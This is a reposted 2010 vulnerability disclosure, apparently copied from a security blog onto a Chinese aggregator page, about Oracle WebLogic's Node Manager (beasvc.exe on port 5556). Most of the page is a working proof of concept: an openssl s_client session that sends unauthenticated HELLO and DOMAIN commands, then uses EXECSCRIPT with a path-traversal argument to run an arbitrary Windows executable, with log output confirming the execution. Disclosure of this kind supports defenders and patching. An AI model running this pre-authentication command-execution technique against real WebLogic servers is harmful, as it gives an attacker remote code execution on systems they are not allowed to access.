您的位置:首页 > 数据库 > Oracle

Oracle WebLogic Server Node Manager "beasvc.exe" Remote Command Execution

2010-02-06 14:56 706 查看
http://intevydis.blogspot.com/2010/01/oracle-weblogic-1032-node-manager-fun.html

Time for the final bug in our Week of Web Server
bugs.

It is in Vulndisco since Oct, 2008.

Oracle
Weblogic
has an optional Node
Manager
utility which is used to start/stop server
instances from a remote
location.

It is important to know that Node
Manager
is beasvc.exe
process which listens on port 5556.

It
supports several commands, no authentication is required to enter some
of these commands, you will only need to know the name of Weblogic
domain (btw in the default install Weblogic
has at least 2 domains - wl_server and medrec). As beasvc.exe
speaks over SSL we will use openssl utility:

character '>' marks the beginning of our command (write the command after '>' and press Enter)

$ openssl s_client -host 192.168.56.101 -port 5556

>HELLO asdf

+OK Node
manager
v10.3 started

Remote
version leak bug here ;-)

>DOMAIN xyz

-ERR I/O error while reading domain directory

>GETNMLOG
java.io.FileNotFoundException: Domain directory 'C:/Oracle
/Middleware/wlserver_10.3/common/nodemanager' invalid (domain salt file not found)

at weblogic
.nodemanager.server
.DomainManager.initialize(DomainManager.java:79)

at weblogic
.nodemanager.server
.DomainManager.(DomainManager.java:54)

at weblogic
.nodemanager.server
.NMServer.getDomainManager(NMServer.java:257)

at weblogic
.nodemanager.server
.Handler.handleDomain(Handler.java:218)

at weblogic
.nodemanager.server
.Handler.handleCommand(Handler.java:108)

at weblogic
.nodemanager.server
.Handler.run(Handler.java:70)

at java.lang.Thread.run(Thread.java:619)

>DOMAIN wl_server

+OK Current domain set to 'wl_server'

>EXECSCRIPT ../../../../../../../../Windows/System32/ping.exe

-ERR 1

>GETNMLOG

<Jan 22, 2010 6:37:51 AM> <INFO> <>

<Jan 22, 2010 6:37:51 AM> <INFO> <>

<Jan 22, 2010 6:37:51 AM> <INFO> <Usage: ping [-t] [-a] [-n count] [-l size] [-f] [-i TTL] [-v TOS]>

<Jan 22, 2010 6:37:51 AM> <INFO> <>

<Jan 22, 2010 6:37:51 AM> <INFO> <            [-r count] [-s count] [[-j host-list] | [-k host-list]]>

<Jan 22, 2010 6:37:51 AM> <INFO> <>

<Jan 22, 2010 6:37:51 AM> <INFO> <            [-w timeout] [-R] [-S srcaddr] [-4] [-6] target_name>

<Jan 22, 2010 6:37:51 AM> <INFO> <>

<Jan 22, 2010 6:37:51 AM> <INFO> <>

<Jan 22, 2010 6:37:51 AM> <INFO> <>

<Jan 22, 2010 6:37:51 AM> <INFO> <Options:>

<Jan 22, 2010 6:37:51 AM> <INFO> <>

<Jan 22, 2010 6:37:51 AM> <INFO> <    -t             Ping the specified host until stopped.>

<Jan 22, 2010 6:37:51 AM> <INFO> <>

<Jan 22, 2010 6:37:51 AM> <INFO> <                   To see statistics and continue - type Control-Break;>

<Jan 22, 2010 6:37:51 AM> <INFO> <>

<Jan 22, 2010 6:37:51 AM> <INFO> <                   To stop - type Control-C.>

<Jan 22, 2010 6:37:51 AM> <INFO> <>

<Jan 22, 2010 6:37:51 AM> <INFO> <    -a             Resolve addresses to hostnames.>

<Jan 22, 2010 6:37:51 AM> <INFO> <>

<Jan 22, 2010 6:37:51 AM> <INFO> <    -n count       Number of echo requests to send.>

<Jan 22, 2010 6:37:51 AM> <INFO> <>

<Jan 22, 2010 6:37:51 AM> <INFO> <    -l size        Send buffer size.>

<Jan 22, 2010 6:37:51 AM> <INFO> <>

<Jan 22, 2010 6:37:51 AM> <INFO> <    -f             Set Don't Fragment flag in packet (IPv4-only).>

<Jan 22, 2010 6:37:51 AM> <INFO> <>

<Jan 22, 2010 6:37:51 AM> <INFO> <    -i TTL         Time To Live.>

<Jan 22, 2010 6:37:51 AM> <INFO> <>

<Jan 22, 2010 6:37:51 AM> <INFO> <    -v TOS         Type Of Service (IPv4-only).>

<Jan 22, 2010 6:37:51 AM> <INFO> <>

<Jan 22, 2010 6:37:51 AM> <INFO> <    -r count       Record route for count hops (IPv4-only).>

<Jan 22, 2010 6:37:51 AM> <INFO> <>

<Jan 22, 2010 6:37:51 AM> <INFO> <    -s count       Timestamp for count hops (IPv4-only).>

<Jan 22, 2010 6:37:51 AM> <INFO> <>

<Jan 22, 2010 6:37:51 AM> <INFO> <    -j host-list   Loose source route along host-list (IPv4-only).>

<Jan 22, 2010 6:37:51 AM> <INFO> <>

<Jan 22, 2010 6:37:51 AM> <INFO> <    -k host-list   Strict source route along host-list (IPv4-only).>

<Jan 22, 2010 6:37:51 AM> <INFO> <>

<Jan 22, 2010 6:37:51 AM> <INFO> <    -w timeout     Timeout in milliseconds to wait for each reply.>

<Jan 22, 2010 6:37:51 AM> <INFO> <>

<Jan 22, 2010 6:37:51 AM> <INFO> <    -R             Use routing header to test reverse route also (IPv6-only). >

<Jan 22, 2010 6:37:51 AM> <INFO> <>

<Jan 22, 2010 6:37:51 AM> <INFO> <    -S srcaddr     Source address to use.>

<Jan 22, 2010 6:37:51 AM> <INFO> <>

<Jan 22, 2010 6:37:51 AM> <INFO> <    -4             Force using IPv4.>

<Jan 22, 2010 6:37:51 AM> <INFO> <>

<Jan 22, 2010 6:37:51 AM> <INFO> <    -6             Force using IPv6.>

<Jan 22, 2010 6:37:51 AM> <INFO> <>

<Jan 22, 2010 6:37:51 AM> <INFO> <>

<Jan 22, 2010 6:37:51 AM> <INFO> <>

.

+OK Node
manager
log file sent

Obviously it is a remote
preauth command execution bug!
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
相关文章推荐